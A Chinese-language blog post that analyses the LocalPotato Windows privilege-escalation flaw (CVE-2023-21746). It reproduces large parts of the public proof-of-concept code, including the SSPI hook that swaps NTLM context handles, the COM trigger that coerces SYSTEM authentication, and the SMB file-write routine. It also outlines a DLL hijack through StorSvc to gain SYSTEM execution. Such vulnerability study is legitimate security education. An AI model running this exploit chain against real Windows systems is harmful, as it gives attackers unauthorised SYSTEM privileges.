Zj_W1nd's BLOG

CVE-2023-21746: LocalPotato探究

2025/10/24

CVE-2023-21746: LocalPotato

环境配置

基于提供的windows server-2019进行复现。其实复现很简单,只是本篇文档会着重介绍POC代码的逻辑。

该漏洞的核心POC源代码在github上开源了。这里本机采用Visual Studio来进行源码查看的方式来讲解这个漏洞和POC工作的原理。

这个漏洞的本质是一个业务逻辑漏洞。只是观察POC可能会难以理解,下面我们简单讲解这个漏洞的核心原理。这里是漏洞发现者设立的讲解blog

漏洞原理(总览)

alt text

首先,我本人具有漏洞利用的一定经验,但对windows知之甚少。在此我假设读者同样具有二进制漏洞利用的简要经验但对windows一无所知。我会尽可能详细清晰地讲述这个漏洞。

首先要清楚,我们攻击的目标实际上并不是某个单一的服务驱动,我们的漏洞目标是Windows提供的SSPI(全称安全支持提供接口)在NTML协议实现(NTLMSSP)上的一个逻辑漏洞。由于漏洞的披露者不会详细讲解整个的发现流程,加上本人能力有限以及该逻辑漏洞本身并不涉及内存破坏,因此这里不会对具体的windows内核做任何的逆向和调试。

NTLM

我们并不关心NTML协议具体报文的格式,但为了能完全明白这个漏洞的原理,这里简要介绍下NTLM。

NTLM协议是一个简单的挑战-应答身份认证协议,如果并不清楚这种协议的认证机制可以简单了解下密码学。简单来说,就是通过口令哈希+服务器生成的随机数挑战,客户端通过算法计算一个响应返回以进行身份认证,过程中不传输明文密码而且不可简单重放。

一般来说,在NTLM认证过程中,有三种消息(Type1, 2和3)。他们分别对应了客户端发起协商,服务端发送challenge以及客户端返回response的三个步骤。这些过程在windows操作系统上是通过一套叫做SSPI(Security Support Provider Interface)的接口来给应用使用的,认证过程对应用透明。

alt text

但是,当在同一台windows物理机上进行认证时(本地客户端认证本地服务器),情况就有点不同了。首先在应用视角下,NTLM协议中的type2消息会启用一个保留字段。当服务端通过type1识别到客户端和自己位于同一主机的时候,会在type2中发送相关标记来回应。

alt text

在windows机器上,有一个叫做LSASS(Local Security Authority Subsystem Service)的东西统筹负责这些验证工作,当然它也负责NTLM的SSPI。当检测到是本地认证流程的时候,LSASS就会“偷懒”。这时,客户端的上下文会依据type2消息保留字段的内容(会被设置成一个LSASS当前会话可识别的句柄值),被LSASS依据这个句柄直接关联到服务器的安全上下文(因为都是同一个登录会话)。这样做就可以节约本地资源的消耗,减少一次对type3消息的计算(口令生成),同时客户端也就有了直接访问服务的权限。

⚠️ 注意,不要被这张图片误导,type3消息仍然会发送,它是协议的一部分,只是LSASS在实质上会不对Type3进行多余的计算生成,其内部会走一个本地的短路执行。

这里可能还是有点绕。简单来说,服务器本身为了维护多个用户的会话(每个会话都是不同的身份认证),会维护很多个安全上下文。客户端通过认证后,持有这些句柄去访问服务器的资源,服务器准予通过。而LSASS的偷懒方法就是,省去了认证成功的部分,减少了一次服务器向客户端的通信,在本地直接地将客户端持有的句柄给你关联到服务器的安全上下文了(内部执行了type3的逻辑),省了通信资源。

攻击目标/漏洞点

上面讲到的流程看起来没什么问题,但是本着“对计算机的物理持有者权限最高”的原则以及对本地提权的渴望,我们还是会思考这样的问题:LSASS在关联的时候是不是根本不检查这个type2中服务器返回句柄的真正的返回对象?

我们任意编写的客户端一定无法借助SMB服务写入特权文件,因为我们拿不到特权用户会话,我们编写的客户端只是关联到普通用户的程序。那如果,我们能够劫持到一个特权客户端的申请,等拿到了type2消息后,再把安全句柄偷出来,等我们自己客户端认证的时候悄悄换给我们自己写的客户端,是不是就能骗过LSASS获得特权写入的权限了呢?就和那些偷取pid4的process token一样?

还真是,这就是LocalPotato的本质:LSASS内部在处理本地NTLM认证时,没有在业务逻辑中检查Reserved字段中安全句柄的归属,完整性等,导致我们可以通过篡改安全句柄,让低权限的客户端借用高权限的安全上下文从而造成权限提升。

提权流程/POC分析

关于这个漏洞,还有一种写入是针对webdav和http的,这里有链接,我们这里只看用SMB实现本地写入的部分。

按照刚刚讲的分析,在实战中,LocalPotato的发现者使用了windows的smb服务实现了跨越权限的任意文件写(随意修改system32下的dll为我们的恶意dll),下面我们逐行分析作者开源的POC源码,看看它是怎么一步步利用NTLM的上下文交换和SMB服务做到无视权限任意文件写入的。

该POC的主函数核心逻辑如下:

1
2
3
4
5
6
7
8
9
10
if(destfname != NULL)
hTread = CreateThread(0, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(SMBAuthenticatedFileWrite), NULL, 0, NULL);
else
...// http+webdav
HookSSPIForDCOMReflection();
PotatoTrigger(clsidStr, comPort, hTread);
if (WaitForSingleObject(hTread, 3000) == WAIT_TIMEOUT) {
printf("[-] The privileged process failed to communicate with our COM Server :(");
}
return 0;

我们从逻辑上的执行顺序逐步进行分析。

1. 劫持一个特权客户端发起的NTLM认证(HookSSPIForDCOMReflection + PotatoTrigger)

第一步,当然是劫持到一个特权客户端发起的认证,我们要偷来LSASS分给这个特权客户端的安全上下文句柄,也就是type2消息的reserved字段!

要实现这一步,我们需要有一个自己的提供ntlm验证的服务器和一个windows上具有system权限且能发起ntlm认证的客户端。这个客户端在利用中被称为“trigger”。

话说的容易,这里其实凝结了诸多windows安全研究员大量的心血:我们怎么就能找到这么一个服务呢?好在前人的智慧为我们提供了参考(引用自官方blog):

1
2
3
4
5
6
7
8
RemotePotato0 is a method for coercing privileged authentication on a target machine by taking advantage of standard COM marshaling. In our scenario, we discovered three interesting default CLSIDs that authenticate as SYSTEM:
CLSID: {90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}
The ActiveX Installer Service "AxInstSv" is available only on Windows 10/11.
CLSID: {854A20FB-2D44-457D-992F-EF13785D2B51}
The Printer Extensions and Notifications Service "PrintNotify" is available on Windows 10/11 and Server 2016/2019/2022.
CLSID: {A9819296-E5B3-4E67-8226-5E72CE9E1FB7}
The Universal Print Management Service "McpManagementService" is av
ailable on Windows 11 and Server 2022.

关于COM类(高权限客户端)

COM是一种Windows的二进制组件标准,简单来说就是一套接口,我们做好了相关功能后,将其抽象成COM类封装进dll并依据这套规范对外暴露相关接口,同时每个组件和接口都通过唯一全局标识符标识,客户端通过CLSID(保存在注册表中)可以请求实例,这套东西支持引用计数,跨进程通信等等。

那么回过头来,上面提到的三个CLSID都有这样的共同特点:

  • 普通本地低权限用户可调用激活(没有额外 ACL 限制)。

  • 实现位于以 SYSTEM 身份运行的服务进程(svchost 中的对应服务组)。

  • 激活或后续接口调用会引发跨进程 COM/RPC 通道建立,从而产生 SYSTEM 凭据的认证(可被强制指向攻击者控制的名字/管道,触发 NTLM 本地认证链)。

最终,在作者github仓库中,默认使用了第二个CLSID来进行演示,即我们通过windows的api调用它的时候,能触发一次高权限的ntlm认证。

1
2
WCHAR defaultClsidStr[] = L"{854A20FB-2D44-457D-992F-EF13785D2B51}"; // Print Notify Service CLSID
WCHAR defaultComPort[] = L"10247";

代码分析

HookSSPIForDCOMReflection

实际上在宏观的POC流程下是先trigger之后拦截,但我们要先创建这个拦截用的hook

这个函数的代码是这样,这里是主线程的第一步

1
2
3
4
5
6
7
8
void HookSSPIForDCOMReflection() {
event1 = CreateEvent(NULL, TRUE, FALSE, NULL);
event2 = CreateEvent(NULL, TRUE, FALSE, NULL);
event3 = CreateEvent(NULL, TRUE, FALSE, NULL);
ntlmType3Received = FALSE;
PSecurityFunctionTableW table = InitSecurityInterfaceW();
table->AcceptSecurityContext = AcceptSecurityContextHook;
}

event1-3是线程共享的全局变量,在程序中作为信号量使用。然后通过apiInitSecurityInterfaceW拿到当前进程的SSPI函数表,将AcceptSecurityContext设置成我们的自定义钩子。

这个hook的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
SECURITY_STATUS AcceptSecurityContextHook(PCredHandle phCredential, PCtxtHandle phContext, PSecBufferDesc pInput, ULONG fContextReq, ULONG TargetDataRep, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsTimeStamp) {
SECURITY_STATUS status;
unsigned char* bufferPtr;
if (ntlmType3Received) // we usually land here when the client want to alter the rpc context to perform the call with the integrity level. We want to avoid that.
return SEC_E_INTERNAL_ERROR;
if (pInput != NULL && pInput->cBuffers > 0) {
for (unsigned long i = 0; i < pInput->cBuffers; i++) {
bufferPtr = (unsigned char*)pInput->pBuffers[i].pvBuffer;
if (bufferPtr[0] == 'N' && bufferPtr[1] == 'T' && bufferPtr[2] == 'L' && bufferPtr[3] == 'M') {
if (bufferPtr[8] == 1) { // if the buffer is for ntlm type 1
printf("[*] Received DCOM NTLM type 1 authentication from the privileged client\n");
}
if (bufferPtr[8] == 3) { // if the buffer is for ntlm type 3
printf("[*] Received DCOM NTLM type 3 authentication from the privileged client\n");
ntlmType3Received = TRUE;
}
}
}
}
// --------------------------- 标记 上半部分
status = AcceptSecurityContext(phCredential, phContext, pInput, fContextReq, TargetDataRep, phNewContext, pOutput, pfContextAttr, ptsTimeStamp);
// -------------------------- 标记 下半部分
if (ntlmType3Received)
SetEvent(event3);
else {
// here we swap the 2 contexts for performing the DCOM to SMB reflection
if (pOutput != NULL && pOutput->cBuffers > 0) {
for (unsigned long i = 0; i < pOutput->cBuffers; i++) {
bufferPtr = (unsigned char*)pOutput->pBuffers[i].pvBuffer;
if (bufferPtr[0] == 'N' && bufferPtr[1] == 'T' && bufferPtr[2] == 'L' && bufferPtr[3] == 'M') {
if (bufferPtr[8] == 2) { // if the buffer is for ntlm type 2
memcpy(SystemContext, bufferPtr + NTLM_RESERVED_OFFSET, 8);
SetEvent(event1);
WaitForSingleObject(event2, INFINITE);
// for local auth reflection we don't really need to relay the entire packet
// swapping the context in the Reserved bytes is enough
memcpy(bufferPtr + NTLM_RESERVED_OFFSET, UserContext, 8);
printf("[+] RPC Server Auth Context swapped with the Current User\n");
}
}
}
}
}
return status;
}

这个函数的核心功能是用来将上下文拦截住分别单独保存到SystemContextUserContext中,同时在SSPI调用的时候同步信号量,告诉我们什么时候去swap这个context。

它中间同样调用了它hook的函数,那上下增加的代码是什么?可以看到,上半部分(以调用AcceptSecurityContext为界)主要是输出一些调试信息,设置flag等等,包括有上来就接受到type3的错误处理。下半部分则主要是在通过SSPI拿到安全上下文之后的交换(特权客户端部分

交换在代码实现上其实分成两个部分,hook sspi得到的主要是系统上下文,这半部分主要是将system权限的句柄偷出来,并等待event2信号量的同步——也就是我们自己的客户端向smb认证时分配的handle——后将user权限的句柄换进去。

到这里(等到hook执行时),我们已经实现了一半,即通过hook针对当前进程的SSPI函数虚表来实现偷出system权限的安全上下文handle(reserved 8 bytes)。

PotatoTrigger:恶意的服务端

钩子创建好的之后我们就要触发system认证了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
void PotatoTrigger(PWCHAR clsidStr, PWCHAR comPort, HANDLE hEventWait) {
IMoniker* monikerObj;
IBindCtx* bindCtx;
IUnknown* IUnknownObj1Ptr;
RPC_STATUS rpcStatus;
HRESULT result;
PWCHAR objrefBuffer = (PWCHAR)CoTaskMemAlloc(DEFAULT_BUFLEN);
char* objrefDecoded = (char*)CoTaskMemAlloc(DEFAULT_BUFLEN);
DWORD objrefDecodedLen = DEFAULT_BUFLEN;
// Init COM server
InitComServer();
// we create a random IUnknown object as a placeholder to pass to the moniker
IUnknownObj IUnknownObj1 = IUnknownObj();
IUnknownObj1.QueryInterface(IID_IUnknown, (void**)&IUnknownObj1Ptr);
result = CreateObjrefMoniker(IUnknownObj1Ptr, &monikerObj);
if (result != S_OK) {
printf("[!] CreateObjrefMoniker failed with HRESULT %d\n", result);
exit(-1);
}
CreateBindCtx(0, &bindCtx);
monikerObj->GetDisplayName(bindCtx, NULL, (LPOLESTR*)&objrefBuffer);
printf("[*] Objref Moniker Display Name = %S\n", objrefBuffer);
// the moniker is in the format objref:[base64encodedobject]: so we skip the first 7 chars and the last colon char
base64Decode(objrefBuffer + 7, (int)(wcslen(objrefBuffer) - 7 - 1), objrefDecoded, &objrefDecodedLen);
// we copy the needed data to communicate with our local com server (this process)
memcpy(gOxid, objrefDecoded + 32, 8);
memcpy(gOid, objrefDecoded + 40, 8);
memcpy(gIpid, objrefDecoded + 48, 16);
// we register the port of our local com server
rpcStatus = RpcServerUseProtseqEp((RPC_WSTR)L"ncacn_ip_tcp", RPC_C_PROTSEQ_MAX_REQS_DEFAULT, (RPC_WSTR)comPort, NULL);
if (rpcStatus != S_OK) {
printf("[!] RpcServerUseProtseqEp failed with rpc status code %d\n", rpcStatus);
exit(-1);
}
// we register the auth info for NTLM on the COM server
RpcServerRegisterAuthInfo(NULL, RPC_C_AUTHN_WINNT, NULL, NULL);
result = UnmarshallIStorage(clsidStr);
if (result == CO_E_BAD_PATH) {
printf("[!] CLSID %S not found. Error Bad path to object. Exiting...\n", clsidStr);
exit(-1);
}
if (hEventWait) WaitForSingleObject(hEventWait, 10000);
IUnknownObj1Ptr->Release();
IUnknownObj1.Release();
bindCtx->Release();
monikerObj->Release();
CoTaskMemFree(objrefBuffer);
CoTaskMemFree(objrefDecoded);
CoUninitialize();
}

这个trigger函数为了触发特权认证并被我们当前进程拦截,主要做了下面的工作:

首先,实现了一个虚假的可供回连的服务器(攻击者所谓的evil server就在这里),开发者在这里用最少的代码实现了一个基于COM的RPC服务端,用于反射到正规的SMB服务器。分成一下两个大步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void InitComServer() {
PROCESS_BASIC_INFORMATION pebInfo;
SOLE_AUTHENTICATION_SERVICE authInfo;
ULONG ReturnLength = 0;
wchar_t oldImagePathName[MAX_PATH];
wchar_t newImagePathName[] = L"System";
WCHAR spnInfo[] = L"cifs/127.0.0.1";
pNtQueryInformationProcess NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQueryInformationProcess");
NtQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &pebInfo, sizeof(pebInfo), &ReturnLength);
// save the old image path name and patch with the new one
memset(oldImagePathName, 0, sizeof(wchar_t) * MAX_PATH);
memcpy(oldImagePathName, pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Length);
memcpy(pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, newImagePathName, sizeof(newImagePathName));
// init COM runtime
CoInitialize(NULL);
authInfo.dwAuthnSvc = RPC_C_AUTHN_WINNT;
authInfo.pPrincipalName = spnInfo; // this is important for relaying to SMB locally
CoInitializeSecurity(NULL, 1, &authInfo, NULL, RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_DYNAMIC_CLOAKING, NULL);
// Restore PEB ImagePathName
memcpy(pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, oldImagePathName, pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Length);
}
  1. 这个函数就是我们实现的服务器的初始化。它主要做了以下工作:

  • 修改当前进程PEB中维护的执行路径,直接换成了"System",可能是为了规避某些过滤或者通过某些检查, 也可能只是单纯开发者的小爱好。

  • 初始化COM运行时,启用COM库

  • 构造 SOLE_AUTHENTICATION_SERVICE,设置认证服务为 NTLM,服务主体(SPN) 为 cifs/127.0.0.1。通过伪造这个服务主体,为后续我们自己的客户端连接真的本地smb服务创造条件。

  • 调用 CoInitializeSecurity,注册自定义安全参数。通过配置这个com的参数,使得后续 RPC 连接可动态使用调用方令牌,且允许本进程在成功后进行模拟。

  • 恢复原始 ImagePathName。

  1. 注册一个RPC监听端口。这个过程涉及到windows的com机制。这里POC程序创建了一个IUnknownObj对象(最基本的com对象,所有COM接口的基类),然后为它进一步分配了一个OBJREF Moniker,即一个可序列化的跨进程引用描述。接着调用RpcServerUseProtseqEpRpcServerRegisterAuthInfo注册监听端口和认证协议,这样,我们的本地server就完成了。

Windows的这套机制在术语上十分繁杂,看起来是经过大量抽象得到的结果,本人也对这堆名词云里雾里,总之我们只要知道,这里的POC是利用Windows的机制注册了一个遵循了COM接口可以被调用的服务端就好了。

PotatoTrigger:触发连接

下面的内容略有晦涩,作者本人也没有完全搞懂详细的机理,尽力描述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
HRESULT UnmarshallIStorage(PWCHAR clsidStr) {
IStorage* stg = NULL;
ILockBytes* lb = NULL;
MULTI_QI qis[1];
CLSID targetClsid;
HRESULT result;
//Create IStorage object
CreateILockBytesOnHGlobal(NULL, TRUE, &lb);
StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
//Initialze IStorageTrigger object
IStorageTrigger* IStorageTriggerObj = new IStorageTrigger(stg);
CLSIDFromString(clsidStr, &targetClsid);
qis[0].pIID = &IID_IUnknown;
qis[0].pItf = NULL;
qis[0].hr = 0;
//Call CoGetInstanceFromIStorage
printf("[*] Calling CoGetInstanceFromIStorage with CLSID:%S\n", clsidStr);
result = CoGetInstanceFromIStorage(NULL, &targetClsid, NULL, CLSCTX_LOCAL_SERVER, IStorageTriggerObj, 1, qis);
return result;
}

这里的连接是怎么触发的呢?我觉得ai给了一个比较好的描述:

AI: 通俗类比:正常寄快递是快递公司打包(系统默认封送);现在你说“我自己打包”(IMarshal),于是你能往箱子里放一个“请来我家自取”的字条(自定义 OBJREF / 绑定信息),逼对方上门,从而抓到对方证件(NTLM 握手)。

这里涉及到了Windows COM跨进程通信的一些知识。简单来说,这里利用了“自定义跨进程封送”,即我们将一小片内存区域封装再封装(先封装成ILockBytes,再进一步封装成Istorage对象),封装好之后,在尝试调用CoGetInstanceFromIStorage 发送给我们目标特权进程的时候,COM 运行时为了把StorageTriggerObj交给高权限对象使用,触发了IMarshal自定义封送,而我们的自定义封送中植入了我们刚刚创建的rpc监听端口以及相关的objref信息(还记得那个base64字符串吗),而对方进程为了获得我们进程中的这块存储,就会按照刚刚我们自己rpc服务端注册的安全策略触发ntlm握手,从而被我们进程的lsass hook截获!

而那个Imarshall在哪里呢?原来Istorage是这个POC自己覆盖官方的Istorage重写的,里面集成了IMarshall的接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// in IStorageTrigger.c: 
HRESULT IStorageTrigger::MarshalInterface(IStream* pStm, const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags) {
// only gods know what is going on in this function
// do not try to refactor this. If you are brave and wanna try you can start here --> https://thrysoee.dk/InsideCOM+/ch19e.htm
short sec_len = 8;
char remote_ip_mb[256];
wchar_t remoteBindings[] = L"127.0.0.1";
wcstombs(remote_ip_mb, remoteBindings, 256);

char* ipaddr = remote_ip_mb;
unsigned short str_bindlen = (unsigned short)((strlen(ipaddr)) * 2) + 6;
unsigned short total_length = (str_bindlen + sec_len) / 2;
unsigned char sec_offset = str_bindlen / 2;

byte data_0[] = { //OBJREF STANDARD
0x4d,0x45,0x4f,0x57, //MEOW
0x01,0x00,0x00,0x00, //FLAGS
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46, // IID_IUnknown
0x00,0x00,0x00,0x00, //OBJREF STD FLAGS
0x01,0x00,0x00,0x00 //count
};

byte* dataip;
int len = (int)strlen(ipaddr) * 2;
dataip = (byte*)malloc(len);
for (int i = 0; i < len; i++)
{
if (i % 2)
dataip[i] = *ipaddr++;
else
dataip[i] = 0;
}
byte data_4[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0xff,
0xff, 0x00, 0x00, 0x00, 0x00
};
byte data_1[4];
data_1[0] = (byte)total_length;
data_1[1] = 0;
data_1[2] = sec_offset;
data_1[3] = 0;
int size = sizeof(data_0) + 32 + sizeof(data_1) + len + 1 + sizeof(data_4);
byte* marshalbuf = (byte*)malloc(size);
int r = 0;
memcpy(&marshalbuf[r], data_0, sizeof(data_0));
r = sizeof(data_0);
memcpy(&marshalbuf[r], gOxid, 8);
r = r + 8;
memcpy(&marshalbuf[r], gOid, 8);
r = r + 8;
memcpy(&marshalbuf[r], gIpid, 16);
r = r + 16;
memcpy(&marshalbuf[r], data_1, sizeof(data_1));
r = r + sizeof(data_1);
byte tmp1[] = { 0x07 }; // ncacn_ip_tcp: Tower Id for the Oxid resolution
memcpy(&marshalbuf[r], tmp1, 1);
r = r + 1;
memcpy(&marshalbuf[r], dataip, len);
r = r + len;
memcpy(&marshalbuf[r], data_4, sizeof(data_4));
ULONG written = 0;
pStm->Write(&marshalbuf[0], size, &written);
printf("[*] Marshalling the IStorage object... IStorageTrigger written: %d bytes\n", written);
free(marshalbuf);
free(dataip);
return 0;
}

看到中间的memcpy了吗?那些gpid等等就是我们上面potatotrigger中创建的objref对象提取的信息,放在全局变量中了。

总结

到这里,第一个大步骤就完全明晰了,我们再重新捋一下:

  1. 首先通过注册hook(也不知道为什么windows能注册这个钩子),修改当前进程的LSASS函数表,用以截获安全上下文并针对reserved 8 bytes做修改

  2. 创建一个最小化的,必须要ntlm验证握手的服务端点,涉及了windows com相关的诸多机制

  3. 利用自定义IMarshall封送(我们篡改了里面的gxid等字段!),强迫一个特权进程和我们自己创建的服务器握手进行认证。

2. 用带有特权的客户端请求SMB服务器做越权写入(SMBAuthenticatedFileWrite)

在1中,我们能看到半部分的交换逻辑(LSASS钩子中截获特权客户端请求的并保存的部分),下面就是另外的半个部分了。回顾我们主函数的逻辑,那个一开始创建的线程就是我们自己的客户端,同步过程是由那三个event信号量控制的。

SMB:

作者曾经在smb实现上挖掘过漏洞因此较为了解这个协议,简单来说,这是微软自己发明的一个远程文件读写的协议,类似于ftp,只是更加专业,认证也更好(支持kerberos,ntlm等等),smb3更是支持加密传输和签名(不过用的少)。这个协议一般是以negotiate开始,然后客户端发送命令向服务端请求动作,treeconnect一般是第一个命令,用来获得目录。

这里我们就把他看成一个支持ntlm的ftp就好了

代码分析

下面就是我们攻击者客户端的代码,可以看到整体逻辑上没什么特别的,只是做了smb协议写入文件流程该做的步骤而已。那特殊的地方在哪呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void SMBAuthenticatedFileWrite()
{
SOCKET smbSocket = ConnectSocket(L"127.0.0.1", 445);
DoAuthenticatedFileWriteSMB(smbSocket, (wchar_t*)L"\\\\127.0.0.1\\c$", (wchar_t*)destfname, (wchar_t*)inputfname);
closesocket(smbSocket);
}

BOOL DoAuthenticatedFileWriteSMB(SOCKET s, wchar_t* path, wchar_t* fname, wchar_t* infile)
{
BOOL ret = FALSE;
int MessageID = 2;
char recBuffer[DEFAULT_BUFLEN];
SMBNegoProtocol(s, recBuffer);
SMB2NegoProtocol(s, recBuffer);
SMB2DoAuthentication(s, recBuffer, MessageID);
if (!SMB2TreeConnect(s, recBuffer, MessageID, path))
return ret;
SMB2CreateFileRequest(s, recBuffer, MessageID, fname);
if (!SMB2WriteRequest(s, recBuffer, MessageID, infile, fname))
return ret;
SMB2CloseFileRequest(s, recBuffer, MessageID);
ret = SMB2TreeDisconnect(s, recBuffer, MessageID);
return ret;
}

注意SMB2DoAuthentication函数的流程(作为一个恶意的程序,所有的细节当然需要我们从字节流开始手搓)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
BOOL SMB2DoAuthentication(SOCKET s, char* recBuffer, int& MessageID) {
BOOL ret = TRUE;
int recBufferLen = 0;
CredHandle hCred;
struct _SecHandle hcText;

SMB2AuthNtlmType1(s, recBuffer, MessageID, &recBufferLen, &hCred, &hcText);
SMB2AuthNtlmType3(s, recBuffer, MessageID, recBufferLen, &hCred, &hcText);

// here we receive the return status of the SMB authentication
unsigned int* ntlmAuthStatus = (unsigned int*)(recBuffer + 12);
if (*ntlmAuthStatus != 0) {
printf("[!] SMB reflected DCOM authentication failed with status code 0x%x\n", *ntlmAuthStatus);
ret = FALSE;
}
else {
printf("[+] SMB reflected DCOM authentication succeeded!\n");
}

return ret;

但我们在处理客户端回应type3的时候,完成了交换上下文的另外半个部分。这里用SystemContext替换了接收到的type2消息,最终生成了ntlm认证的type3令牌。本质上是我们欺骗了LSASS。有了前面交换的过程,这里的理解就想对轻松很多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
BOOL SMB2AuthNtlmType3(SOCKET s, char* recBuffer, int& MessageID, int recBufferLen, CredHandle* hCred, struct _SecHandle* hcText) {
BOOL ret = TRUE;
usmb2_header s2h;
usmb2_data s2d;
myint mpid;
BYTE pOutBuf[DEFAULT_BUFLEN];
DWORD cbOut = DEFAULT_BUFLEN;
BOOL fDone = FALSE;
int plen = 0;
myshort slen;
myshort datalen;
char netsess[4];
int start = 2;
char ntlmtType2[1024];
char OutBuffer[1024];
unsigned char sessid[8];
int pos = 0;
char finalPacket[DEFAULT_BUFLEN];

// here we do our magic for the context swapping
pos = findNTLMBytes(recBuffer, recBufferLen);
memcpy(&ntlmtType2[0], &recBuffer[pos], recBufferLen - pos);
if (ntlmtType2[8] == 2)
{
memcpy(UserContext, &ntlmtType2[32], 8);
WaitForSingleObject(event1, INFINITE);
// for local auth reflection we don't really need to relay the entire packet
// swapping the context in the Reserved bytes with the SYSTEM context is enough
memcpy(&ntlmtType2[32], SystemContext, 8);
memcpy(&recBuffer[pos], &ntlmtType2[0], recBufferLen - pos);
printf("[+] SMB Client Auth Context swapped with SYSTEM \n");
}
else {
printf("[!] Authentication over SMB is not using NTLM. Exiting...\n");
return FALSE;
}
if (!GenClientContext((BYTE*)ntlmtType2, recBufferLen - pos, pOutBuf, &cbOut, &fDone, (SEC_WCHAR*)TargetNameSpn, hCred, hcText))
exit(-1);
SetEvent(event2);
WaitForSingleObject(event3, INFINITE);
// ... lots of memcpy
memcpy(finalPacket, netsess, 4);
memcpy(finalPacket + 4, OutBuffer, start);

send(s, finalPacket, 4 + start, 0);
recv(s, recBuffer, DEFAULT_BUFLEN, 0);

return ret;
}

至此之后,我们看似正常的客户端就有了利用SMB服务写入特权文件的功能。通过写入核心dll,自然我们就可以进行提权。

3. 提权

后面的部分严格意义上并不属于localpotato了,但我们把它介绍完。现在的目的是通过一个特权的任意文件写入转换成特权命令执行,我们的思路就是劫持一个特权的dll,让它运行的时候加载我们的命令而不是原本的dll。

我们利用的服务(在winserver2019上)是一个叫做storsvc的服务,通过主动发起向SvcRebootToFlashingMode的RPC调用,可以触发对SprintCSP.dll的缺失加载尝试。

alt text

那我们只需要在PATH的任意位置创建一个SprintCSP.dll就能实现恶意DLL的加载,实现权限的提升。这一攻击面被BlackArrowSec发布于同年的2月,链接在这里, 属于是机缘巧合了。

执行过程/调试

注意,非管理员用户在vmware中没办法直接从外部copy文件进来,要切换管理员用户放到你创建的用户的用户目录下。

powershell查询CLSID的命令。

1
Get-ChildItem -Path Registry::HKEY_CLASSES_ROOT\CLSID | ForEach-Object { $_.PSChildName } | findstr 854A20FB-2D44-457D-992F-EF13785D2B51

在测试过程中,我不知道为什么该windowsserver2019环境无法收到特权进程的握手请求,在云端平台上可以复现,似乎不是监听端口的问题,原因不明,printnotify服务正常运行,CLSID也没问题。

CATALOG
  1. 1. CVE-2023-21746: LocalPotato
    1. 1.1. 环境配置
    2. 1.2. 漏洞原理(总览)
      1. 1.2.1. NTLM
      2. 1.2.2. 攻击目标/漏洞点
    3. 1.3. 提权流程/POC分析
      1. 1.3.1. 1. 劫持一个特权客户端发起的NTLM认证(HookSSPIForDCOMReflection + PotatoTrigger)
        1. 1.3.1.1. 关于COM类(高权限客户端)
        2. 1.3.1.2. 代码分析
          1. 1.3.1.2.1. HookSSPIForDCOMReflection
          2. 1.3.1.2.2. PotatoTrigger:恶意的服务端
          3. 1.3.1.2.3. PotatoTrigger:触发连接
        3. 1.3.1.3. 总结
      2. 1.3.2. 2. 用带有特权的客户端请求SMB服务器做越权写入(SMBAuthenticatedFileWrite)
        1. 1.3.2.1. SMB:
        2. 1.3.2.2. 代码分析
      3. 1.3.3. 3. 提权
    4. 1.4. 执行过程/调试